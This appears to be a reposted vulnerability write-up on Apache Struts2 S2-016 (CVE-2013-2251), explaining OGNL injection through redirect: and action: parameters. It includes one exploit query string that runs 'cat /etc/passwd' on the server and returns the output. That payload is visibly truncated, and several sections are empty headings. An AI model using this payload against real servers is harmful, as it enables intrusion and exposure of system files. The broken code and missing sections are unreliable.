Struts2 Remote Code Execution Vulnerability (S2-016)

Source: Internet
Author: User
Tags cve

Struts has the remote code execution vulnerability!In this vulnerability, attackers can remotely execute malicious code by manipulating parameters.In versions earlier than struts, the values of the parameter action redirect and redirectaction are not properly filtered, resulting in ognl code execution.


Affected Version struts 2.0.0-Struts 2.3.15 reporter Takeshi Terada of Mitsui bussan secure directions ctions, Inc. CVE number CVE-2013-2251

Vulnerability proof

The parameter is executed in an ognl expression.


Code Execution


Vulnerability Principle

The struts 2 defaultactionmapper supports a method for short-circuit navigation state changes by prefixing parameters with "Action:" or "Redirect:", followed by a desired navigational target expression. this machism was intended to help with attaching navigational information to buttons within forms.

In struts 2 before the information following "Action:", "redirect:" or "redirectaction:" is not properly sanitized. since said information will be evaluated as ognl expression against the value stack, this introduces the possibility to inject server side code.

Official Apache address

Severely affected websites in China

The following is for teaching and research purposes only. Illegal use is prohibited!

Execute any command exp. Thanks to X for providing:

?redirect:${%23a%3d(new java.lang.ProcessBuilder(new java.lang.String[]{‘cat‘,‘/etc/passwd‘})).start(),%23b%3d%23a.getInputStream(),%23c%3dnew,%23d%3dnew,%23e%3dnew char[50000],,%23matt%3d%23context.get(‘com.opensymphony.xwork2.dispatcher.HttpServletResponse‘),%23matt.getWriter().println(%23e),%23matt.getWriter().flush(),%23matt.getWriter().close()}

Burst website path exp, thanks to h4ck0r for providing:


Upgrade struct2 requires the following packages







Contact Us

The content source of this page is from Internet, which doesn't represent Alibaba Cloud's opinion; products and services mentioned on that page don't have any relationship with Alibaba Cloud. If the content of the page makes you feel confusing, please write us an email, we will handle the problem within 5 days after receiving your email.

If you find any instances of plagiarism from the community, please send an email to: and provide relevant evidence. A staff member will contact you within 5 working days.

A Free Trial That Lets You Build Big!

Start building with 50+ products and up to 12 months usage for Elastic Compute Service

  • Sales Support

    1 on 1 presale consultation

  • After-Sales Support

    24/7 Technical Support 6 Free Tickets per Quarter Faster Response

  • Alibaba Cloud offers highly flexible support services tailored to meet your exact needs.